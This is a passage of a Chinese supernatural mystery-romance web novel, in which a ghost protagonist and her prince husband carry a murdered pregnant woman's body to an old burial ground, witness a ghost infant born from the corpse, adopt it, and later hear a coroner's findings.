也不知道是不是蹭的位置不对,血淋淋地蹭半天都没蹭干净,蹭的眼珠子半半拉拉的。 总有一种,它把自己的爪子蹭干净以后,就要开始吃人了的错觉。 两个小厮翻了个白眼,昏了过去。 可惜九条不会说话,如果它会说话的话,肯定会骂一句,废物! 安槐上了马车,打开了麻袋。 麻袋里果然是个女人。 问题出在她的肚子。 她肚子凸出,看着有八九个月身孕了。 刚才婴儿的哭声,就是从她肚子里传出来的。 安槐探了下女人的鼻息,他已经死了。 身下一摊血,染红了麻袋和马车。 安槐皱了眉头。 将手放在女人的肚子上。 她肚子里未出生的胎儿,也已经没了呼吸。 但她还在哭。 哭的声音越来越大,充满悲伤,还有些凄厉。 安槐叹了口气。 遇不到就罢了。 遇到了就是所谓的缘分,不管是正缘还是孽缘,都不能置之不理。 安槐将麻袋推回车厢里,关上车厢的门。 驾了车往外走。 到了街上,看见路边有给人写书信的摊位,给他一点钱,要了纸和笔,写了几个字。 召唤下九条,将字条绑在它的腿上,让它去找靳朝言。 三石坡有点远,现在去估计天黑赶不回来。 有家有口的人就是麻烦,出个门还得报备。 正在回春堂带人搜查的靳朝言,又接到了飞鸟传书。 安槐言简意赅。 有事出城一趟,明日。 靳朝言看的眉头直皱。 不知道该生气还是该欣慰。 谁家王妃能这样,说出城就出城,一点规矩都没有。 但人家好歹还跟他说了一声,也不算是不把他放在眼里。 安槐赶着马车出了城。 她也觉得马车有点慢,但是没办法。 麻袋血淋淋的,她总不能扛着骑马,那走到半路随便碰到什么人,都要被盯上。 靳朝言看着纸条半晌,总觉得不是那么回事。 九条还在面前走来走去,走来走去。 它一点儿都不着急,就安槐驾的那破车破马,走半天它一翅膀就跟上了。 靳朝言伸出手臂,对九条说:“上来。” 一旁人都像看傻子一样看着他。 毕竟是只鸟,再机灵,也不能那么机灵吧? 靳朝言又拍了拍自己的胳膊。 九条犹豫了一下,竟然真的扑腾两下翅膀,上了靳朝言的胳膊。 靳朝言的第一个感觉是,这家伙真的挺重。 看它没事儿就站在安槐肩膀上,安槐一点儿也不费力的样子,安槐这力气可真不小。 “嘿,它真的能听懂啊。”诸元也来了兴趣,伸出自己的胳膊:“九条,来,来我胳膊上。” 九条只是歪着脑袋看着他。 黑豆眼忽闪忽闪的。 诸元也学着靳朝言的样子拍了拍胳膊。 奈何九条不搭理,不但没有飞到他胳膊上,连黑豆眼的目光都收回来。 呵呵。 要不是因为靳朝言身上有主人的气息,它谁都不会理。 九条是一只高冷的鸟儿。 诸元十分沮丧。 靳朝言心里有点暗暗的得意,自己对安槐来说,果然是不同的。所以她这只这么有灵性的鸟儿,才知道区别对待。 “九条。”靳朝言说:“你能不能带我去找你主人?” 这话有点长了,靳朝言在九条面前挥了挥纸条。 然后手一扬,让它飞。 九条飞了出去。 靳朝言也不确定九条有没有听懂他的话,但是不管怎么说,九条肯定是去找安槐了,这个大方向是不错的。 靳朝言吩咐一声,将把回春堂掘地三尺的任务交给了诸元杭玉堂,自己跟了出去。 九条也不着急。 它似乎真听懂了,真在等靳朝言一样。 如果安槐在,肯定要骂它一句,吃里扒外。 安槐此时正架着马车,走在去三石坡的路上。 天气很好,阳光也很好,照在脸上,安槐甚至眯着眼睛哼着歌。 谁能想到呢。 她车厢里有一具尸体,尸体的肚子里,还有一个鬼胎。 走了半路,安槐听着九条的叫声,抬头一看。 也没在意。 九条是一只自由的鸟。 不用总守在她身边。 管道上,传来马蹄哒哒哒的声音。 安槐随意一回头,立刻定住了。 靳朝言怎么来了? 再抬头看一眼九条,顿时明白了。 这下就有点麻烦了,安槐的脑袋紧急转了起来。 靳朝言收到九条的消息之后,竟然丢下案子跟了过来? 他不懂什么是轻重缓急吗? 说时迟,那时快。 靳朝言的马也很快,眼见着就越来越近,追了上来。 要不是九条停在了马车车厢顶上,靳朝言都没注意安槐竟然在赶马车。 果然是庄子里出来的姑娘,什么都会。 他勒住缰绳,放慢速度。 安槐调整了一下表情。 “殿下,你怎么来了?” 靳朝言没有回答,而是看了一眼马车:“你这是去哪儿?” “三石头坡。” 电光火石之间,安槐已经想好了对策。 “去三石坡做什么?” 安槐朝靳朝言勾了勾手指。 靳朝言从自己的马上纵身到了马车上。 他的马就也不用人牵,自己就跟着马车不紧不慢地走。 “殿下,有件事情我要跟你说。” “你说。” 安槐说:“你先看下车厢里。” 靳朝言往车厢里看了一眼,皱起了眉头。 他看到了血,还闻到了血腥的味道。 安槐说:“打开看看。” 一看,就连见过大场面的靳朝言都有点惊了。 再看安槐的眼神都有点不一样了。 这是怎么说? 自己新婚王妃,光天化日,在路上打死了一个孕妇,正要去毁尸灭迹? 这对吗? 靳朝言深深地吸了口气,让自己冷静下来。 不至于不至于,至少不至于。 “这是怎么回事?”靳朝言低声说:“这女人是什么人?” “不知道。” 安槐把今天的事情大致说了一下。 当然,她是无意走到太子太傅家门口的,不是特意过去的。 然后就看见了那一幕。 靳朝言表情很严肃:“你遇到那么危险的情况,为什么不来找我,也不去报官?为什么要把尸体带出来?” 幸亏安槐早就想好了说辞。 第48章 折骨,百年积尸地 安槐用更严肃,更低的声音说:“不行,来不及了。” 靳朝言情绪还挺稳定,不过看着她的表情很严肃。 遇见杀人抛尸现场,这是意外。 但你没报官还带着尸体跑了,这就牵扯其中了。 说不清楚了。 事情是否和你有关,你是否和凶手有关? 甚至你是不是凶手? 正常人都不会干出一言不发带走受害者尸体的事情吧? 安槐却没有继续说尸体,而是问:“殿下,我想问你一个问题,你给我个准话。” “你说。” “如果凶手是太子太傅,或者他的儿孙。甚至再进一步,是太子。这事情,还能追究吗?” 靳朝言想也不想:“自然,天子犯法和庶民同罪。” “可是……”安槐就算活了两辈子,对朝堂纷争也不太懂:“那是太子,可以吗?” 靳朝言笑了一下。 “那你知道,太子为什么是太子吗?” 这话问的安槐一愣。 “因为……太子是皇帝和皇后的嫡长子,皇族血脉,最受皇帝的喜爱?” 自古立嫡不立长,但当今太子是帝后所生的第一个儿子,名正言顺,理所应当。 “不,不是。” 靳朝言说:“之所以他太子是太子,因为他的仁孝聪慧,德才兼备,堪当大任。” 安槐懂了。 如今陛下子嗣充沛,成年的儿子就有七个。 有野心,有能力的,也不止一个老大。 太子没毛病,才能是太子。 若是太子有毛病,皇帝也不会纵容。 “那就好。”安槐叹口气:“那我跟你说,为什么我要把尸体带走。” “嗯。” 安槐说:“我不认识这女人,我见着她的时候,她就已经断气了。但是女尸是被害死的,怨气冲天。她肚子里的孩子已经足月,本是可以活的,但他现在被害死了,母亲的怨念被孩子吸收了,他……要诈尸了。” 安槐说的一本正经,靳朝言用难以言喻的表情看着她。 安槐委屈:“你不相信我?” 要是三天前,靳朝言肯定会毫不犹豫的说,荒谬。 然后连人带马车带尸体一起抓回去。 这案子该怎么查,就怎么查。 但现在不一样。 在见过万贤山庄,见过这几天几具诡异的尸体之后,靳朝言对鬼神有了些真情实感。 也许是人为的障眼法。 也许,是真有呢? 安槐现在是他的皇子妃,不是朝不保夕的侯府弃女,她有什么理由瞎折腾? 靳朝言定了定神。 “那你现在带她去三石坡做什么?若是他们真的怨气冲天,不是应该查清真相,严惩凶手,让他们瞑目吗?” “哪有那么简单。”安槐给他科普:“诈尸的鬼胎会怨气凝杀,非鲜血不能令其平息怨气。我算了一下,如果没有变故,这孩子再有五个时辰就要出生。” 五个时辰,就是今夜。 “殿下,你能在这五个时辰内,把这案子查清,让凶手伏法吗?” 安槐不天真,知道靳朝言也不天真。 牵扯到太子太傅,甚至可能牵扯到太子。 这事情有的拉扯了。 就算是证据确凿,也要费时费力。 别说五个时辰,就是五天也难。 靳朝言脸色难看得很。 “太子太傅和太子都跑不了,跑得了和尚也跑不了庙。先把婴煞解决了再说,婴煞不解决,就要血流成河了。” 裘府可能藏污纳垢,太子府可能蛇鼠一窝,但也不至于落个满门被杀。 安槐不想看着京城大乱。 京城若乱了,靳朝言哪有时间和他恩爱缠绵。 “三石坡是百年积尸地,阴气重,能安抚婴煞,也能留住怨灵。先将这母子安抚住,然后再回头破案,也算是争取了一些时间。” 靳朝言半信半疑。 但安槐都已经把尸体带出来了,他也动了心,不如就去看看。 看她到底能折腾出什么来。 太子和太子太傅确实跑不了,他此时对安槐更感兴趣。 到三石坡的时候,天已经黑了。 天边一轮残月,照出满地荒凉。 一株老槐树,在寸草不生的乱石坡中间,枝桠乱生,毫无章法。 一个鬼影子都没有。 马车停下,安槐打开车厢,撸起袖子,打算把麻袋扛出来。 靳朝言制止了她。 “我来。” 这种脏活累活,没道理让一个女人看。 靳朝言也不是养尊处优的大爷。 安槐也不跟他抢。 靳朝言将麻袋扛了起来,血都已经凝固在麻袋上了。 “去哪里?”靳朝言问:“你是要将尸体埋在这里?” 尸体埋了,那可就是毁尸灭迹。 这命案可就不好弄了。 “不是。”安槐说:“尸体不重要,尸体就是个皮囊,我要给阴煞接生。” “……” 每个字靳朝言都能听懂,但都不似人言。 “看见前面那棵大槐树没?把尸体扛过去。” 安槐领路,靳朝言跟在后面。 正是好季节,老槐树上也还有些叶子,哗啦啦地抖动着。 靳朝言将麻袋放下。 安槐打开麻袋,将里面的尸体拽了出来。 刚才路上,靳朝言只是打开开口看了一眼,如今方才细看。 只见女人容颜秀丽,身材纤细,只有肚子高高凸起。 身上旁的地方都看不见伤,但是从腰身往下,几乎被鲜血浸透了。 靳朝言的脸色很难看。 “你说,你看见一个中年男人带着两个小厮,将人往马车上送?” “对。” “若是再见,这三个人你可还能认出来?” “当然能。就算我认不出来,九条也能认出来。那个中年男人还被九条抓瞎了眼睛呢,眼珠子都抓出来了,一找一个准。” “好。” 靳朝言不再多话。 “你开始吧,这边处理之后,将尸体带回去。” “行。” “要我做些什么?” “坐下就行。” 靳朝言其实这话只是客气问问,他以为安槐会说,什么也不用,在一边等着就行。 万万没想到,安槐让他坐下。 不是坐远,是坐下。 就坐女尸旁边。 靳朝言虽然心里略有忐忑,但还是依言坐下了。 安槐看着他如临大敌的模样,突然来了逗一逗的兴趣。 “殿下。”安槐一笑:“想有点参与感吗?” 第49章 折骨,真诚是必杀技 靳朝言听不懂,但是靳朝言觉得,这不是什么好话。 他沉吟了一下。 “女人生孩子,我就不参与了吧。” 虽然大人已死,孩子是鬼,但总归是生孩子没错吧。 “好吧。” 安槐也不强求:“不过我要跟殿下打个招呼,一会儿看见的东西,可能会颠覆你的认知。你别怕,不会有危险的。所谓冤有头债有主,我们是这母子俩的恩人,他们不会伤害我们的。” 靳朝言皱了眉。 完全没有从安槐的安慰中,得到一点安全感。 但已经没有时间让他考虑太多了。 女尸的肚子动了一下。 靳朝言睁大眼睛。 他怀疑自己的眼睛是不是出了问题。 他再三确认过,这女人已经死了,是一具死的不能再死的尸体。 母体死亡,肚子里的孩子就算已经足月,也只能存活非常短暂的时间。 他也碰见过类似的事情。 母亲突然出了意外,重伤不治,为了保一个算一个,让人将肚子剖开取子。 这是非常惨烈,实在无可奈何的情况了。 可从没听说过,母亲都死了五六个时辰了,肚子里的孩子还能活。 但女尸的肚子,又动了一下。 靳朝言听见了婴儿的哭声。 在这除了他们俩没有其他活人的地方,听见了婴儿的哭声。 即便是冲锋陷阵杀人如麻的靳朝言,心里也难免有点犯怵。 敌人的尸山血海,那是自己砍出来的。 可现在,未知叫人心里没底。 女尸的肚子动的幅度越来越大了,婴儿哭声也越来越大,仿佛真有一个活的婴儿在里面挣扎。 哭声犹如尖锐的针,扎进耳朵里。 周围陆陆续续地响起哭声。 各种各样的。 有老人的,有孩子的,有男人的,有女人的。 这一刻,靳朝言真的明白了什么叫百年积尸地。 啪一声。 女尸肚子上的衣服裂开了。 靳朝言没有移开目光。 他看见那被撑得几乎透明的肚子上,有一个小手的印子。 那是一个挣扎要见天日的生命。 靳朝言深深地吸了一口气,有种冲动,想要帮他一把。 但是他又不能继续想。 这东西出来后,是人?是鬼? 还是什么东西? 正想问问安槐,却发现安槐已经没站在他身边了。 她在五米开外的地方,手里拿了把铁锹,正在挖地。 袖子卷着,吭哧吭哧,挖的十分带劲。 莫非……她是在挖坑,打算一会儿把女尸和鬼婴埋了? 靳朝言心道,那可不行。 尸体要是不带回去,这事情是说不清楚的。 裘府本来就是为了毁尸灭迹,现在安槐这一埋,不是正好帮他们毁尸灭迹了吗? 靳朝言暂时舍弃下挣扎的鬼婴,大步走了过去。 “夫人在做什么?” “找东西呢。” “找什么东西?” 安槐停下来用袖子擦了擦汗:“这地下埋着一箱珍珠,我要把它们挖出来。” “你怎么知道?” “鬼婴刚才告诉我的,他感觉到的。” “……” 靳朝言感觉安槐每一句话都很荒谬,但是,每一句话她又都说的那么认真,好像是真的一样。 “真的。”安槐说:“这也算是他对我的报答之一吧。就是埋得有点深,要挖一会儿。” 安槐睁着眼睛说瞎话,半点也不心虚。 其实是这一片的地下埋了什么,她都一清二楚。 不过带着白寒铁来那次,时间和人力都有限,所以只挖了表层的。 先挖先用着。 她本就打算有时间就再来挖的。 今天这不是顺路吗? 闲着也是闲着。 安槐说:“鬼婴出生没那么快。正常的孩子出生也要好几个时辰,甚至有难产好几天的。且等着吧,至少要半夜。” 安槐又继续挖啊挖。 靳朝言实在看不过,接过来铁锹。 安槐乐的轻松,去一旁坐着欣赏靳朝言干活儿的英姿去了。 幸亏这里没有外人,要不然的话,肯定要惊掉下巴。 半个三更,百年坟场,尊贵的三皇子和皇子妃,竟然在挖坑。 就算靳朝言武艺高强力气大,这坑也挖了不少时间。 果然,从两米深的地方,挖出一个几乎脏兮兮的木盒。 也不知道这木盒在地下埋了多久,竟然还没烂。 安槐见靳朝言果然挖出了东西,兴奋地跳下了坑。 从土里将木盒抠出来,打开。 里面竟然真的是满满当当一盒珍珠。 个个都有拇指大,圆润明亮,实属上品。 就这一盒珍珠,能在京城换一套三进的大宅子。 安槐左看右看,十分满意,一点儿也不嫌弃盒子脏,将盒子抱在怀里。 “见面有份。”安槐说:“殿下,咱们一人一半。” 靳朝言将铁锹丢出坑去。 “一半倒是不用,这既然是鬼婴给你的谢礼,你就都收着。”靳朝言突然面色微变:“你送我的礼物,不会也是这里挖出来的吧?” 他明确地记着,那块十分贵重的玉牌,安槐刚从箱子里拿出来的时候,也是脏兮兮的全是土。 就好像刚从土里挖出来一样。 如今看来,竟然真的是刚从土里挖出来的? 那牌子现在还在他腰上挂着呢。 一时间,这感觉十分挣扎纠结。 有种偷了人家东西,还带着赃物上门显摆的心虚感觉。 “是呀,挖了好久的。”安槐并不遮掩:“殿下,你是在战场上见过无数死人的,不会害怕死人的东西吧?” “倒是不怕。” “那就行了。”安槐献宝一样:“不瞒你说,我不止挖了那一件,而是足足挖了两箱,都在王府的库房里。这几天忙,等有空了,我要一件件清洗,收拾出来。到时候殿下也来看看,要是有看中的,都送给你。” 真诚永远是必杀技。 靳朝言还能说什么? 他现在算是知道,那天安槐一身灰土出现在王府门口是干什么去了。 感情是来这挖了一夜的土。 安槐心满意足的将珍珠揣了起来。 不是她爱财,谁不爱财呢。 有钱能让鬼推磨,这不比拿把刀架在鬼脖子上要省事多了。 揣完珍珠,安槐抬头一看,傻眼了。 怎么出去? 她和靳朝言现在都站在两米多的深坑里。 靳朝言会轻功。 她也会点,但是,她不想让靳朝言知道。 第50章 折骨,拜四方 于是安槐虚弱地看向靳朝言。 靳朝言突发奇想。 “你说,九条能把你拽上去吗?” “……” 安槐不知道该说什么。 她觉得靳朝言现在可能有点逆反心理。 但无所谓,一个人只要有不可代替的作用,就不怕别人的逆反心里。 就在两人僵持在坑洞里的时候,外面的声音变了。 之前,一直是婴儿的哭声,哼哼唧唧的。 但是女尸没有发出声音来。 可是这一声,是女尸发出的声音。 高亢凄厉。 紧接着,又是一声婴儿的哭声。 和之前的略有不同。 之前像是被捂在肚子里,有种闷闷的声音。 这一次确实清明嘹亮的。 女声就喊了一嗓子,就再没了声音。 但是婴儿的声音渐渐高亢。 哭的撕心裂肺,哭的气势汹汹。 安槐笃定地说:“鬼婴生出来了。” 可惜这个洞有点深,别说上不去,就是踮着脚,她也看不着外面的情况。 当然靳朝言也一样。 安槐是个小心眼,记着刚才靳朝言让九条拽她出去的事情,怂恿靳朝言:“殿下,快去看看外面是什么情况。我不着急,我自己想办法出去。” 坑里只有一个坑,外面却有两个鬼。 只要是个正常人,都知道哪边更有吸引力吧。 靳朝言完全不想去看。 再说他也不会把安槐一个人丢在坑里。 对。 这个理由好。 靳朝言正色说:“你是我的妻子,我又如何会将你一个人丢在这里。刚才的话,是同你说笑的。” 说着,靳朝言搂过安槐的腰,带着她一起出了坑。 低头就看见安槐在笑。 靳朝言心虚:“笑什么?” 荒郊野岭的笑,瘆人的慌。 安槐抿了抿唇:“殿下又怂又虚又强撑的样子,真可爱。” “……” 靳朝言差点把安槐甩出去。 他脸一沉,刚要说话,突然安槐啊的叫了一声,躲在了他身后。 安槐拽着靳朝言的衣服,从他身后露出个脑袋来。 月光下,清清楚楚,明明白白。 一只小小的爪子,从女尸的肚子里伸了出来。 撕拉一声划破血肉。 接着是脑袋,然后是肩膀。 靳朝言虽然见多了死人,但这么离奇诡异的场面也是第一次见。 死人是死人,鬼是鬼。 死人和鬼,那终究是两种不同的东西。 至少死人不会从另一个死人的肚子里爬出来。 鬼婴终于完整的爬了出来。 那就是一个刚出生的孩子,身上满是黏液,也看不出是男孩还是女孩,身后,还连着脐带。 按理说,刚出生的婴儿是不会走的,只会闭着眼睛哭,翻身也翻不了。 但鬼婴出生,迎风便长。 从女尸肚子里爬出来,吹了风晒了月亮,就明显大了一些。 安槐一见,眼前一亮。 她抛下靳朝言就往鬼婴那儿跑去。 动作太快,靳朝言伸手去拽,竟然没抓住,只好跟了上去。 鬼婴察觉到他们的靠近,缓缓抬起头看过来。 看得出来,他还不太能控制自己的四肢,转头迈步的时候,动作有点僵硬。 安槐一把抓住了鬼婴的后脖颈。 那黏糊糊,血淋淋的,亏她也下得去手。 “喂,小子。”安槐说:“是我把你带来这里,你才能顺利出生,没错吧?” 这就有点欺负人了。 鬼婴虽然是鬼,也还是个婴。 脑子转得还不是很快。 “我是你救命恩人,你娘死了,你就得听我的,没错吧?” 靳朝言本来已经冲上去了,手都已经按住袖子里的刀了。 但现在也不着急了。 他总觉得鬼婴虽然带个鬼子,未必是安槐的对手。 只是这会儿气氛太紧张,他都忘了想一想,自己为什么会看见鬼? 鬼婴睁着两只大眼睛,一眨一眨的,有点想哭。 “别哭了。”安槐冷酷说:“看你圆滚滚的,我给你起个名字,就叫团子吧。快拜四方。” 鬼婴嘶哑的吐出几个字。 “拜……什……” 话没说完,就被安槐按着头哐一声撞在地上。 他四肢还软,这真叫一个五体投地,整个人都恨不得贴在了地上。 靳朝言看的都心里一抖。 不知道为什么,突然有点可怜这个小鬼婴了。 小鬼婴无力的四肢在地上扒拉着,挣扎着想要爬起来。 但是没有用。 他就算含戾气成煞,又怎么能是安槐这个三百年老鬼的对手。 更何况安槐这三百年在这片乱葬岗吸取了多少冤魂煞气,一年抵十年。 安槐牢牢按住鬼婴,让他砰砰砰地磕头。 一边磕,一边说:“东方青帝太昊、南方炎帝神农、西方白帝少昊、北方黑帝颛顼、中央黄帝轩辕。” “维天地初开,灵物降生。团子感天地造化,日月精华,今拜四方。” “拜东方,木气生发。” “拜南方,火气昭明。” “拜西方,金气肃杀。” “拜北方,水气潜藏。” “拜中央,土气厚重。” “祈四方神灵庇佑,不遭天谴,不被物伤,修炼有成,位列仙班。天地为证,四方为鉴。” 安槐一边说,一边把鬼婴按下去,拽起来。 换个方位,继续磕头。 这幸亏是个鬼婴,要是活人,骨头都要断了。 可怜鬼婴,一开始还在努力挣扎,现在已经只会嘤嘤嘤了。 也可怜靳朝言,开始还想着英雄救美,保护自己夫人不被鬼婴伤害。 后来变成了,犹豫要不要劝劝自己夫人,别欺负鬼婴了。 到现在,已经什么都不想说了。 拜完四方,安槐拎着鬼婴站起来。 说是站起来,其实就是被她像拎麻袋一样拎着,只能勉强脚尖着地,一晃一晃的。 安槐没有看鬼婴。 她看着远处的山。 好像在等什么。 靳朝言也跟着看了过去。 这一刻,他有一种神奇的感觉,好像有什么将要来临。 鬼婴也没有再嘤嘤嘤,也看了过去。 突然,一阵风从远处吹来。 这风和靳叙以前吹过的风都不同,明明是站在这荒土堆上,却像是站在山林悬崖一样清新。 吸一口,仿佛身体里的浊气都消散了。 鬼婴也深深的吸了一口气。 然后整个人都僵住了。 他身上的黏液和血腥,一滴一滴地落在地上。 第51章 折骨,爹和娘,不一样 安槐像是这会儿才反应过来嫌脏一样,将鬼婴随手甩在了地上。 然后从怀里摸出个帕子来擦手。 狠狠地擦了两下,又将帕子甩了。 嫌弃是真嫌弃,不嫌弃的时候,也是真不嫌弃。 靳朝言终于找回了自己的声音。 “他这是……” 鬼婴在地上舒展身体,滚来滚去,身上的浊液和血污慢慢散去,仿佛正在蜕皮新生。 安槐叹了口气。 “是个可怜孩子。混沌新生,未见天日,就被害死娘胎。他尚未沾染世间的恶,若是放任成煞,就会血洗人间。若是拉他一把,也是可以调养的。” 鬼婴身上的血污浊液褪去的地方,露出底下白白嫩嫩的皮肤。 他又长大了一些,慢慢站起来,摇摇晃晃地走了过来。 短短的十几步路,走着张着。 肉眼可见的,等到了两人身边的时候,竟然已经有一个三岁孩子大小了。 光着屁股,粉嫩嫩的。 那张小脸也不似刚才狰狞,细细看去,竟然还挺萌。 也是,他母亲是个美人,他自然长得也不差,五官端正标志得很。 就是脑门上青了一块,是刚才安槐按着他磕头,在地上撞的。 安槐低声说:“刚才拜四方,若天地不允,就会降下雷罚,让他灰飞烟灭。” 靳朝言也低声说:“所以,这鬼婴算是在天地面前,过了明路了?” “对,他现在有了实体,普通人看,和一个活人无异。他现在要认主了。” 鬼婴团子。 他步履蹒跚走到了两人面前。 安槐蹲下身,勾勾手指,像是逗狗一样。 “啧啧啧,过来。” 鬼婴眼睛都红了。 太欺负人了! 不,太欺负鬼! 安槐虽然已经有一个九条了,但是一点儿不影响再收一个鬼婴。 鬼婴现在虽然弱了一点,但假以时日,不可限量。 鬼婴迈动着小短腿,慢慢地走了过来。 安槐张开了怀抱。 然后,谁也没想到,鬼婴往一旁一歪。 保抱住了靳朝言的腿。 安槐的怀抱一空,靳朝言的腿一紧。 他低下头,和鬼婴四目相对。 团子开口喊:“爹……” “……” 这对么? 靳朝言一时茫然,愕然看向安槐。 却见安槐一副天塌了的样子。 “你认他做主?”安槐指着鬼婴,不可思议:“我让你出生,我带你拜四方,你不认我为主,你认他为主,你还是个人……不,你还是个鬼吗?” 安槐说着,扑了过来。 伸手就要掐死他。 团子抱住靳朝言的小腿,嗷嗷的哭。 此时的鬼婴,和鬼一点儿关系都没有,就是个三岁的,白嫩嫩的孩童。 靳朝言看着他被安槐晃的可怜,只好劝说:“好了好了,他才那么点儿大,懂什么。再说,喊我爹,那你不就是娘吗?” 安槐气呼呼的停了手。 “那不一样。鬼婴只有一个主人,认了就是认了,孩子先喊爹和先喊娘,那可不是一回事。” 没良心的家伙。 不过她也算知道为什么鬼婴会认靳朝言了。 靳朝言身上散发着阴森黑气,对鬼婴来说,无比舒适。 强扭的瓜不甜,强抢的儿子也不亲。 安槐冷笑一声站起来,喊了声:“九条。” 九条应声而落。 安槐指着团子说:“这是你弟弟,认识一下。弟弟不听话,可以弄死他。” 九条叫了一声。 团子又往靳朝言身后缩了缩。 娘亲好凶,好害怕。 靳朝言这一趟出门本来是想看看安槐背着他在做什么的,谁想到呢,收了个鬼儿子。 明明刚结婚,猝不及防就一家四口了。 “他……”靳朝言有些不确定:“要跟着我们?” “跟着吧。”安槐说:“他有用的,平时养他就像是养个普通孩子就行,关键时候,他能派上大用处。” “什么用处?” “不好说,但他终究不是人,那些不是人干的事情,你都可以让她去干。” 靳朝言弯腰碰了碰鬼婴的脸。 和普通的孩童没有区别,软软嫩嫩弹弹的。 鬼要是都长成这样,也确实叫人生不起什么恐惧之感。 靳朝言伸手脱下自己的外袍子,将他裹了起来。 光溜溜的总不太好。 鬼婴抱着靳朝言的胳膊,转头看向不远处躺着的女尸。 那是他的母亲。 安槐和靳朝言也看了过去。 女尸半点动静都无。 安槐说:“他母亲现在和一具寻常尸体没有区别,她所有的精魄怨念,都用来送儿子一程了。” 可怜天下父母心。 团子脸上有了哀怨的神色,但是没有哭,也没有眼泪。 “鬼婴是不会哭的。”安槐说:“若有一日鬼婴落泪,就会血流成河。” 靳朝言点了点头,看着团子:“本王可以替你将母亲安葬,但在这之前,需要将她带回去让仵作验尸,好找出死因。” 团子点了点头。 靳朝言还从未抱过这么柔软的孩童,只觉得虽然沉甸甸但是软绵绵,多少有些别扭。 想着要将团子交给安槐,但安槐只给了他一个白眼。 靳朝言无奈。 尝试着摸了摸团子的脑袋。 头发倒是也软乎乎的。 “团子……你知道得罪了母亲的孩子,是没有好日子过的吗?” 团子:“嘤嘤嘤。” “嘤嘤嘤也没用。”安槐冷笑一声:“我要驾车,你们父子俩,好好联络一下感情吧。” 白眼团子,得不到,她不稀罕。 靳朝言将团子放下,扯过团子身上自己的外袍。 用外袍将女尸裹住,扛上马车。 之前素不相识,用麻袋装装也就罢了。 现在是自己干儿子的娘,又死者为大,总要有些体面。 至于团子,屁大点小毛孩,光屁股就光屁股吧。 马车就这么回了京城。 府里的人也惊呆了。 谁也想不到,三皇子殿下出了一趟门,带会个干儿子。 他可是皇子,哪怕是干儿子,也不是寻常身份。 不过小孩儿白白胖胖,粉雕玉琢的,倒是可爱。 嬷嬷大着胆子问:“殿下,小少爷怎么称呼呀?” 哦,团子还没有一个正规的名字。 靳朝言说:“团子。” 没有大名,小名先叫着。 他不能姓靳,要是姓安,不知道安槐是否愿意。 或者,等案子查明,让他随母性也可。 嬷嬷偏偏不识趣,多问了一句:“团子少爷,是哪家的小少爷呀,长的可真好看。” 靳朝言头疼。 团子怯生生抱着靳朝言的腿,打量这个新鲜的世界。 第52章 折骨,从内而外 安槐在一边冷笑:“垃圾堆里捡来的,就姓捡吧。” 嬷嬷目瞪口呆。 她有点害怕地看向靳朝言。 皇子妃的命令也不能不听,但是这么个白白胖胖的娃娃,又是三皇子收了做干儿子的,姓捡垃圾是不是不妥。 说起来,自家主子做事也不妥。 皇子妃刚进门,又不是不能生,怎么会想起来领养个孩子呢? 怪不得皇子妃心情不好,给主子甩脸色也是正常的。 团子虽然像个三岁孩子大小,但毕竟刚出生,还没有学会太多话,只会抱着靳朝言的腿嘤嘤嘤。 爹不亲娘不爱的娃,真可怜。 毕竟是叫自己爹的娃,总不能真叫捡垃圾,靳朝言只好说:“小名叫团子,大名日后再说。” 众人应着。 靳朝言惦记着昨天搜查回春堂的事情,也不知查出什么没有,让下人带团子去休息,喂吃喂喝做衣裳,传诸元来回话。 再去叫仵作。 安槐想了想:“殿下,回春堂的事情已经够忙了,团子的娘,这边就交给我吧。” 靳朝言就一个人,也不能劈开两半用。 这事情可是太子太傅府里出来的,送去别的衙门也难办。 没一会儿仵作就来了。 仵作也是郁闷,这段时间啥别的也不干,天天光往三皇子府跑。 验的尸体还一个比一个诡异。 他是仵作,不是法师,看见诡异的尸体,他也会害怕的。 但碍于面子,害怕又不敢说,每天晚上回家都求神拜佛的,昨晚上烧香烧得睡着了,差点把自己的衣服都点了。 安槐这次一见祖文彬,就用手捂了捂鼻子。 “祖仵作,你身上怎么这么重的味道?” 祖文彬抬手闻了闻自己的袖子。 “哦,娘娘,这是香烛的味道,小的家里点的香的味道。” 其实味道也没那么重,但安槐的嗅觉太敏感了。 “你这点的是什么香?” 祖文彬说:“这是苍术香,可以除恶气,弭灾沴,辟尸邪,凈阴晦。这是小的家中常备的。要是娘娘觉得不好闻……” 安槐摆摆手。 “不是不好闻,这几天辛苦祖仵作了,我有个安神符,你将它贴身佩戴,晚间或可安眠。” 看祖文彬眼睛里都是血丝,估计这小老头这几天都没睡好。 祖文彬一听,十分感激。 安槐果然从怀里取了个香囊出来。 并且叮嘱:“贴身带着,可以安神驱邪,鬼魅不可近身。但万万不可打开,一打开,沾了世间浊气,就没用了。” 祖文彬双手接过,连连称是。 香囊里轻飘飘的,估摸着是一道符之类。 祖文彬将香囊贴身放好,也不知道是不是心里作用,总觉得好像是舒服多了。 这一次的尸体,又是个头痛的尸体。 祖文彬查了女尸。 安槐问:“如何?” “回娘娘的话,死者周身皮肉多有青肿痕迹,新旧相叠,系生前屡遭殴打所致。” “腹上一片淤紫,扩大弥散,自心口下延至小腹,触之板硬。” “腹腔内有污血凝聚,肝脾具有破裂痕迹。肠间膜络尽皆破损,血水满腹。” “细查子宫腔内,胎盘尚在,胎儿无踪,此女尸……是被人剖腹取子了。” 祖文彬虽然胆子大,但这几天已经被折磨的没那么大了。 他说着说着,声音小了下去。 似乎有什么话想说,但是又不敢说。 安槐说:“这里没有外人,祖仵作你有话直说,不必顾忌。” 祖文彬是个有本事的。 当仵作的,也是不信鬼神,不信乱力怪神。 但最近有点茫然。 祖文彬低声说:“小的检查死者腹部伤口,觉得这伤口像是……像是……像是从里面被人撕开的。而且不是用利刃割开,是用什么尖锐的东西撕开的……” 祖文彬不敢再说下去了。 他觉得自己说不下去了。 从内撕开和从外撕开,那伤口是明显不一样的。 从外部切开,无论是再凶残没有人性,总是可以解释的。剖腹取子这种事情虽然离奇,但祖文彬在这么多年的仵作生涯中,总还是见过的。 可从里往外撕开,却让他怎么也解释不通。 祖文彬说:“这是怎么撕裂的,小的也百思不得其解。总不能是死者腹中的孩子撕开的吧?” 祖文彬说着,还笑了一下。 他觉得自己为了调节这紧张的气氛开了个玩笑,自己还怪幽默的。 但是屋子里的人都笑不出来。 胆小的甚至想哭。 安槐倒是不想哭,反而有点庆幸。 还好团子见风长,现在已经是三岁孩童的大小了。白白胖胖的,和真人没有什么区别。 不管别人怎么质疑他的来历,也不会想到他是刚才母亲肚子里爬出来的小鬼。 